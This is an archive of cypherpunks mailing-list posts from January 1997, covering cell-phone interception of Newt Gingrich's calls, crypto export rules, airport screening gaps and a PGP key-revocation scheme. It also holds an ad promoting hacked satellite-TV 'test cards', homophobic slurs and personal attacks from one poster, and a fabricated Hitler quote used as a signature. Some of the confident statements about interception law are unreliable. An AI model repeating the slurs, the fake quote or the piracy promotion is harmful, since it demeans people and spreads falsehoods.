know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, February 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 14 Jan 1997 20:07:47 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: EPIC Drops the Ball on the NewsHour (Was Re: Newt's phone calls)
In-Reply-To: <199701142209.RAA26359@pathfinder.com>
Message-ID: <v03007811af01fc5c7359@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:34 pm -0500 1/14/97, Declan McCullagh wrote:
>Watch the Lehrer Newhour (or whatever the hell it's
>called now) tonight, for instance.

Sadly, no.

A guy from EPIC, somebody who *should* have known better, did not mention
cryptography at all. At least in the part I heard.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 14 Jan 1997 22:22:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Airport security [no such thing]
Message-ID: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


I recently took a domestic flight from the Oakland, CA airport. While
waiting for the airplane, I spent some time observing the security measures
at the X-ray machine.

As most readers probably know, laptops are often subject to manual
scrutiny. From my non-representative sample, about four out of five tote
bags clearly containing laptops will be manually searched. Typically, the
attendant requires that the laptop is powered up. In none of the 20+ manual
searches I witnessed did the security personnel wait past the RAM check
before clearing the passenger. I could not help but contemplate how much of
the insides of the laptop could be replaced while still obtaining an
identical display.

Then came the big one: A man wearing a beer truck driver uniform approached
the checkpoint. On his hand truck were two kegs of beer. For those
unfamiliar with such objects, a keg of beer is a cylindrical stainless
steel container, about 1.5 feet tall with about 1 foot diameter.

I was wondering what the procedure for handling these rather large steel
containers would be.  Would they be X-rayed? How much shielding would the
steel provide for the contents? Much to my surprise, the man did not
approach the X-ray machine. Instead, he went straight for the "exit only"
walkway. The guard posted there to make sure that nobody would enter
through the exit gave the fellow only a cursory glance as he entered the
"secure" area unchallenged.

I was flabbergasted. They let a man with two *large steel containers* enter
unchecked? No asking for ID, no X-ray? I struck up a conversation with the
beer truck driver. I asked him why the kegs did not get X-rayed. He looked
at me with an expression of utter lack of understanding and answered: "They
are too heavy to be put on the [conveyor] belt."

Right... We wouldn't want to have these 50 pound steel barrels jam the
X-ray machine.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gadgets1@ix.netcom.com
Date: Tue, 14 Jan 1997 20:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: DSS Secret Info
Message-ID: <199701150447.WAA10924@matrix.binary.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi: I seen your post in the group and thought you could be interested in this info. This mgs was posted in the misc.forsale grp under info manual.


                       ??? FREE SATELLITE TV ???
***************************************************************************
****** The secrets out about the New 18" DIGITAL SATELLITE SYSTEMS *******
***************************************************************************

 The technology underground is an amazing place. The huge multi-national corporations developed the world's most sophisticated satellite-delivered television programming system,called DSS it rolled out in september 1994 and by april of 1995 it had been hacked. 

 By autumn of 1995, Test access cards were being sold all over North America. The cards turn on all programming including pay-per-view-movies,blacked-out sports events and all other available channels.

 These test cards are now being used in other countries to get FREE USA PROGRAMMING on the DSS system. United States companies will not allow other countries to purchase our programming.

 In short companies are popping up selling these cards at a blistering rate. The cards are being sold for as low as 150.00 dollars in some areas, other companies offer two year warranties on thier cards.

 If you would like to learn  more about this subject and other educational material you can order our infotech manual #10 which includes the following information.

*  List of companies selling these products along with phone numbers.

*  FAQ's about test cards

*  Hidden features in your receiver

*  Hard boot and soft boot info

*  How to use that data port in the back

  
 To Order send $10.00 MONEY ORDER along with E-MAIL address to:
 InfoTech
 Box 124d
 Raymond, Nebraska  68428

 (If you wish send a SASE and we'll return it snail mail)
     < We don't sell test cards please don't ask >
                   *WARNING*WARNING*WARNING* 
 INFORMATION AND PRODUCTS SOLD HERE ARE INTENDED FOR EDUCATIONAL AND ENTERTAINMENT USE ONLY. WE ASSUME NO RESPONSIBILITY FOR THE MANNER IN WHICH OUR INFORMATION/PRODUCTS ARE USED.CERTAIN TRADEMARKS USED HERE ARE THE PROPERTY OF THEIR OWNERS. USE OF SAME BY US IN NO WAY AN ATTEMPT TO INFRINGE ON THE RIGHTS OF THOSE TRADEMARK OWNERS.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 14 Jan 1997 22:58:08 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DC7DB0.67B5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


A minor note:  When I downloaded email tonite (Tues), there were 67
messages, and I got stopped 4 times with server errors.  I've had at
most four such errors total in the past 4 months. Coincidence, I guess.

I unsubscribed cypherpunks, and re-subscribed to cypherpunks-unedited.
I am now allegedly on the "original" list, but under a different name.

So now I suppose anyone can get a list from majordomo(?) and see that I
am on the "unedited" list (i.e., a second-class citizen, a minority),
and no longer one of the "elite".  If this is true (if), I'd like to
say a big *BOO, HISS* to all the scum who didn't protest at least this
item (renaming the original, and giving the original name to the edited
list).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:13 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
Message-ID: <v02140b00af0203452435@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Bill Stewart writes:
>
>>Tapping cellphones is more trouble than tapping wired phones -
>>they move around, and to tap them from the phone company end
>>requires taps everywhere that you activate when you know where
>>somebody is.
>
>Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>of the conversation without interruption? This seems pretty suspicious to
>me. I think Old Newt was targeted by someone inside the phone company, who
>was eavesdropping on all of his cell calls.

Both sides of a conversation are audible on a single channel due to its use
for sidetone.


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:24 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b01af020537992b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>If the person with the cell phone doesn't move, then they don't
>get handed off to a different cell.  That means that they
>stay on the same frquency.  No need to scan channels if they don't switch.

Wrong Eric, cells are constantly expanding and contracting as subscribers
in motion are transferred in and out.  Thus you can be stationary, holding
a conversation, and assigned to cell A when all of a sudden subscribers
enter from adjacent cells B and C threatening to fill cell A beyond
capacity.  To keep from dropping calls in cell A the MTS will determine
which calls can safely, due to signal strength and adjacent cell capacity,
be transferred to another cell.  If your conversation is selected then off
you go to another, geographically overlapping, cell.  The MTS can't be sure
which subscribers are stationary and which are in motion (it really doesn't
care).

We saw this unexpected phenomenon frequently during development of Cylink's
SecureCell and finally had to recommend our users be stationary during use,
because our modems did not tolerate handoffs well without retraining, in
order to offer the best chance of uninterupted communication.

>
>What Bill's saying is that it is difficult to tap the cell phone of
>a _particular_ person with just a scanner.  However the people
>who taped Newt were just scanning for whatever they could get.  That's easy.

Yes, you need a device which can simultaneously listen to the
paging/controll channels and determine, when a handoff to a monitored
conversation occurs,to  which new channel pair they have been assigned.  I
seem to recall such a device was for sale a few years back using a ISA/EISA
card and some DOS compatible software.  It connected to the ubiquitous and
well characterized Oki 900 cell phone.

>--
>Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
>PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:28 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b02af020c18371d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> >Tapping cellphones is more trouble than tapping wired phones -
>> >they move around, and to tap them from the phone company end
>> >requires taps everywhere that you activate when you know where
>> >somebody is.
>>
>> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>> of the conversation without interruption? This seems pretty suspicious to
>> me. I think Old Newt was targeted by someone inside the phone company, who
>> was eavesdropping on all of his cell calls.
>>
>
>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was
>intercepted.  All it takes is one participant using a cordless phone in
>range of one scanner, and the whole conversation is compromised.
>
>(Someone mentioned that they thought cordless phone intercepts weren't
>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>intercepting both was made illegal by the same legislation.)

Sorry Alan, they were right.  The Supreme Court ruled that unlike cell
phones, cordless phone users could presume privacy.



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 14 Jan 1997 20:32:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <199701141321.HAA07999@smoke.suba.com>
Message-ID: <ZR1J1D106w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > Homosexuals have a strange attraction to cryptography, perhaps because of i
> > connection to privacy and anonymity. But they haven't made any contribution
>
>      Speaking from personal experince Dimitri? You and Grubor enjoying each
> others company?

Two questions:

One, do the crypto-queers Gilmore and Inman suck each other's cocks?

Two, why did the above-quoted message appear on "moderated" cypherpunks?
(That's a rhetorical question: clearly Gilmore's moderation encourages
personal attacks on Gilmore's "enemies" like myself and Dr.Grubor, while
responses to these attacks are suppressed.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 14 Jan 1997 20:32:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reminder:  Physical DC Cypherpunks Meeting
In-Reply-To: <Pine.SCO.3.93.970114112730.11658B-100000@grctechs.va.grci.com>
Message-ID: <NX1J1D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Mark O. Aldrich" <maldrich@grci.com> writes:
> Post-meeting world-problem-solving and beer-swilling activities

practice safe sex - bring a bagful of condoms.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:13 -0800 (PST)
To: Nelson Minar <nelson@media.mit.edu>
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <32DC8132.42AD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Nelson Minar wrote:
 
> In my more cynical mood I'm afraid that what's going on is the US
> government is trying to protect its capability to wage information
> warfare. Could they get away with this?

Nelson,
  With a paranoid mind-set such as you seem to be displaying, the 
next thing I expect is for you to be rambling on about some 
ludicrous scenario involving the CIA being involved in distributing
cocaine in ghetto areas.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iiucom@iiu.com
Date: Tue, 14 Jan 1997 20:16:24 -0800 (PST)
Subject: Information is POWER- Get it!
Message-ID: <199701150411.XAA15372@mule1.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


****This letter is sent to you automaticly. If you wish to 
be removed, reply and type remove***********

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
This is a new LEGAL service bringing Public Information
to the world of  Personnel computing!!!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
This letter is being sent to you because you know that 
information is Power. You are interested in new ways of 
doing business economically and safely. You won't let 
anyone take advantage of you.

Please read the next few paragraphs to see if our services can help you.

We are Informational Investigations, Unlimited, a public
information company. What we do is to provide the public
with information on people and companies. Let me explain.

Say you've lost touch with an old friend. We can find  that
person. What if that someone or a company owes you money. We
can find that person/company so you can collect. Here's  
another way IIU can help you.

Are you buying a house? Do you think knowing what the seller
paid for the same house could help you in the negotiations?
Do you trust the real estate to give you the right tax
assessment? We can give you the taxes on your dream house
directly from yhe assessors office. No better way to be
accurate than that! 

Are you hiring a 'nanny' or babysitter? I know from my 
experience how emotional a decision that can be. The worry,
the questions about his/her background. EASE YOUR MIND! Why
not check to see if this person was convicted of a crime. Do
they have bad credit or a DWI?

OK? Want to see one more? Here's how we have saved landlords
money for years.

Renting an apartment? Extending credit? Call us! We can do 
the background checking for you, saving you time and money 
in the long run. Have you ever tried to get a deadbeat out
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A few dollars now may save you THOUSANDS later in attorney's 
fees and lost rent.

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the information you need to make informed decisions quickly
and economically.

Our fees? Simple. We charge you the cost of the search plus
$20.00. Our search fees, the amount it costs us to get your 
information, is usually $50.00 or less. Most searches are
$10.-15.00. All information is obtained legally through
public databases.

Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
visit our web site at: http://www.iiu.com. Make a bookmark 
for it. Tell a friend.

Thank you for taking the time to read our letter.

INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 23:10:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <v02140b05af0231cd12cf@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> shamrock@netcom.com (Lucky Green) writes:
>> > Commercial data security software of any kind, regardless if it uses crypto
>> > or not, is however prohibited from being distributed via the Internet or
>> > being exported by any other means.
>>

But does it ban commercial companies from benefiting from their software if
it is illegally exported (e.g., via the Net).  Should, for example, PGP
find users of its new software (who might be outside the U.S.) paying via
ecash, should they accept the payment?

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:26 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142233.OAA15724@slack.lne.com>
Message-ID: <32DC85A2.7734@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:

> Do you think they (whoever 'they' are) were tapping the phones of
> everyone that Newt might talk to?

 Yes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 14:24:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <199701142224.XAA17894@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Re: New US regs ban downloadable data-security software

Nelson Minar <nelson@media.mit.edu> writes:

> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 
> Is the US government really prepared to take on all the producers of
> virus protection software? Symantec and IBM are pretty big players to
> upset. And they don't even have the "drug dealers and terrorists"
> bugbear to defend this particular export restriction.

They don't have to.  They will almost certainly approve almost any
non-crypto data security product for export (well, unless they want to
punish a company for domestic crypto products :-(, but I think the
commerce department can deny actually deny all a comany's exports even
without EAR).

What's really going on here is that the NSA wants to know exactly
what's out there in terms of virus protection and security software,
so that if they need to release a virus or something they know exactly
how to work around the defenses people are using.  You're not going to
too many export applications denied for this kind of stuff.  It's more
just a way for them to know exactly what's going on in that realm.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: international@telcom.com (MonarchTelcom+)
Date: Tue, 14 Jan 1997 15:26:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quality Low Cost International Telcom
Message-ID: <199701142326.PAA05891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dozer@netwizards.net
Date: Tue, 14 Jan 1997 23:28:09 -0800 (PST)
To: jyu-ohjelmointi-cypherpunks@mail.uu.net
Subject: A Special Offer!
Message-ID: <5bi0tf$j6e@news1-alterdial.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 14 Jan 1997 20:33:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Key Revokation Scheme
Message-ID: <TCPSMTP.17.1.14.-9.32.16.2780269260.1467056@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I started thinking about the issue, how to set up a system to have
somebody else revoke your key for you, if you don't have the means
to do so yourself.
The possible case I had in mind was, what if you're maybe a
dissident, you get arrested and your apartment (incl. disks/keys)
gets raided. You don't have any means to revoke the key yourself,
don't even have e-mail in general, and with the "one phone call",
that your hopefully entitled to, you can't really do much...
It might have been discussed before, but here is what I came up
with:

Peter (the dissident) creates a signed key revokation certificate
and a list of the intended recipients for it. He archives the files
and then encrypts the archive conventionally. He then sends the
encrypted archive file to his trusted friends (or relatives) Alice
and Bob, without the passphrase though.
(Note: For additional security, the files within the archive may be
encrypted with A. and B.'s public keys).

Then Peter gives a sealed envelope to his lawyer (or anybody he
trusts and who would know, if something happened to him),
containing the passphrase and the names of Alice and Bob, incl.
their respective phone/fax numbers, e-mail adresses and snail mail
adresses with the instruction to notify them if necessary.
The lawyer however, does not have the archive itself.

Now, in case of an arrest, Peter calls his lawyer (he'd very likely
be the first one to know) and thus he knows, that Peter's keys have
been compromised.
The lawyer now opens the envelope and gets in touch with Alice and
Bob, telling them of Peter's misfortune, and he gives them the
passphrase for the archive.
He also sends them the same information in an encrypted/signed
e-mail. (Note: Of course, Alice and Bob have to have the lawyers
public key and his key must be signed by Peter and vice versa.
Preferably, Alice and Bob have met the lawyer at some point and have
verified his key first hand.)
Thus they know, it was really Peter's lawyer, who gave them the
information, not somebody else, who might have gotten possession of
the envelope...

Alice and Bob, however, do not immediately send out the revokation
certificate, but try to verify the information from the lawyer with
independent sources, such as Peter's relatives, friends etc..
Only if one or better both of them (they should be in contact with
each other too) has/have enough reason to believe, that Peter is
really in trouble and that his keys have been compromised, they
decrypt the archive and send his key revokation certificate to the
intended recipients (friends, key-servers etc.).


Note1: The entire system relies on the trustworthiness of
Alice and Bob and their effort, to verify the information,
before they send out the revokation certificate.

Note2: The described chain of information/verification could go
different directions. Even if Peter's mom is the first one to know,
she could call Alice and/or Bob and/or his lawyer {...}, who in turn
verify the information with others...

Note3: As additional backup for the case, that the lawyer can't get
in touch with neither Alice nor Bob, he could have the same archive
file, encrypted with a different passphrase (which he doesn't know).
If he can't talk to Alice or Bob within a reasonable time period
(let's say 3 days), Peter could give him the passphrase and so his
lawyer himself sends out the revokation certificate.

Note4: In case, Peter doesn't even get the one phone call, but
happens to be in a country, where one just "disappeares", having his
secret keys compromised should be the least of his problems...
But even then, chances are, that the word gets out and Alice and Bob
could act upon it.


Please let me know, if you think, that such a scheme could work (or
not work). Also I'd be grateful, if you'd copy replies to my private
e-mail adress as well, for I am currently not subscribed to the CP
list...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtsI6zltEBIEF0MBAQHo7wf9GQTU5u72gFVZ0LMr7hhTWSikYVDFvzGF
bGopD01j6bq3g9jYQC3YC0pRGfA+y8Q3qDLRbeJ5qMm3iXZgv7Axu2PVeri7ZE7r
+GWZjfMk9EFGY1t9Jf2Fnm9mSAV0Cgq02vyhns8fLqTH1jcNuinZZ61Hq1+oSDFs
f7/qttsqLZmxeHU+VI/47U0xkuh4NXQk/aZlNUOr9Au9+PhqJwpa7EGYzmCBKTzl
pu4QRyjNnvgIuec2wkwVn8uNevvlc/aQB65uU55+NOQnMINl2V4S3lRim9F7gGH+
DV6NiZxmjxCXbX0y4K+33BX1YIwBgYz5EArM1O1j32lOpThIb03jmA==
=stfG
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 00:23:01 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.3.89.9701141425.A3919-0100000@netcom18>
Message-ID: <32DC8A07.64AE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:
> On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:
> > Bill Stewart writes:[snip]
> (Someone mentioned that they thought cordless phone intercepts weren't
> illegal the way cellular phone intercepts are.  IANAL, but I recall that
> intercepting both was made illegal by the same legislation.)
> Of course, if the phone in question was a cell phone that happened to
> be stationary -- like a handheld phone in someone's back yard or in a
> restaurant or whatever, the question of the call jumping cells is moot.

Cell phone monitoring is illegal everywhere.  Cordless phones are
on a state-by-state basis (illegal in Calif.).

The purpose of the legislation is so that when the feds etc. catch
someone in a major violation (scanning businesses and selling
competitive or security info, whatever), they have a statute to
prosecute on.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 14 Jan 1997 20:52:59 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: EPIC Drops the Ball on the NewsHour (Was Re: Newt's phone calls)
In-Reply-To: <v03007811af01fc5c7359@[139.167.130.248]>
Message-ID: <Pine.GSO.3.95.970114235004.4093B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Oh well. I'll yell at Dave tomorrow. He should know better, or it was
sliced out. 

-Declan


On Tue, 14 Jan 1997, Robert Hettinga wrote:

> At 5:34 pm -0500 1/14/97, Declan McCullagh wrote:
> >Watch the Lehrer Newhour (or whatever the hell it's
> >called now) tonight, for instance.
> 
> Sadly, no.
> 
> A guy from EPIC, somebody who *should* have known better, did not mention
> cryptography at all. At least in the part I heard.
> 
> Cheers,
> Bob Hettinga
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox,
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "The cost of anything is the foregone alternative" -- Walter Johnson
> The e$ Home Page: http://www.shipwright.com/rah/
> FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:45 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: s/n problems on this list
In-Reply-To: <199701141652.IAA10713@netcom13.netcom.com>
Message-ID: <32DC8E96.377@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> 
> I've posted on this subject many times in the past, and its
> something I like to brainstorm on. signal to noise problems
> on this list.

  'Your' noise, or 'mine'?

> generally, the moderator-specific approaches I find less
> palatable than techniques that can be automated. here
> are some more ideas for automated moderation techniques.

  Here's one.
  How about only accepting auto-generate postings from machines
programmed only to post officially 'acceptable' postings?
  This would get rid of the dastardly 'human element' and insure
that there would be no off-topic postings.

> hence, a proposal: cpunks have long advocated and hacked mailer
> programs to stick in crypto. how about sticking in a hack that
> tracks how long mail messages are being read, and send that
> info back to an auxilliary mailing list address. the list
> software keeps track of time spent reading articles and
> can allow people to screen the list based on the "most interesting
> articles". "send me only those articles that go over a threshhold
> of 500 combined human attention minutes".

  Then we can go directly to the postings that talk about "Gilligan's
Island" and "Married With Children".
  Are you getting better drugs than I am?
 
> of course this can be messed up by hackers who try to skew the
> ratings. I would suggest a limit on the max time per article per
> person.

  For every solution, there is a problem.
 
> 2. I like the idea of a system that keeps track of complaints against
> given users.

  Including yourself?
 
> just more ideas. I like cpunks generally favor a technological
> fix that doesn't involve bottlenecks of individual moderator
> opinions.

  I think your ideas are a bottleneck.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Tue, 14 Jan 1997 21:04:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <199701150503.AAA11626@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 14 Jan 1997, Nelson Minar wrote:

> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 
> Is the US government really prepared to take on all the producers of
> virus protection software? Symantec and IBM are pretty big players to
> upset. And they don't even have the "drug dealers and terrorists"
> bugbear to defend this particular export restriction.
> 
> In my more cynical mood I'm afraid that what's going on is the US
> government is trying to protect its capability to wage information
> warfare. Could they get away with this?
> 


A cynical person might think that this gives the government one more way
to strongarm companies which might sell non-GAK encryption products.
"Sure, I can ok the export of your new anti-virus software.  Say, how's
that crypto plug-in your working on?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Tue, 14 Jan 1997 22:17:20 -0800 (PST)
To: jovi@telnor.net
Subject: Re: your mail
In-Reply-To: <199701150547.VAA06996@telnor.net>
Message-ID: <Pine.LNX.3.95.970115001554.736A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997 jovi@telnor.net wrote:

> I can not undestand why are you using my e mail adress to recibe your mail.
> 
